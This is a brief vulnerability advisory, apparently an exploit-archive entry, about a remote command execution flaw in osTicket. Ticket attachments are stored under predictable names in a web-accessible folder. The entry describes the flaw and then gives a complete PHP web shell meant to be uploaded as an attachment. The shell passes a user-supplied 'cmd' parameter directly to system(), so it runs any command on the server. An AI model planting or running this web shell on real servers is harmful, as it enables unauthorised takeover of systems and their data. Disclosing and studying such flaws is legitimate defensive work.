source: https://www.securityfocus.com/bid/10586/info osTicket is reported prone to a remote command execution vulnerability. The issue is reported to present itself because attachments submitted as a part of a support ticket request are stored with a predictable name in a known web accessible location. <?PHP echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>"; if (!$cmd)die; system($cmd); ?>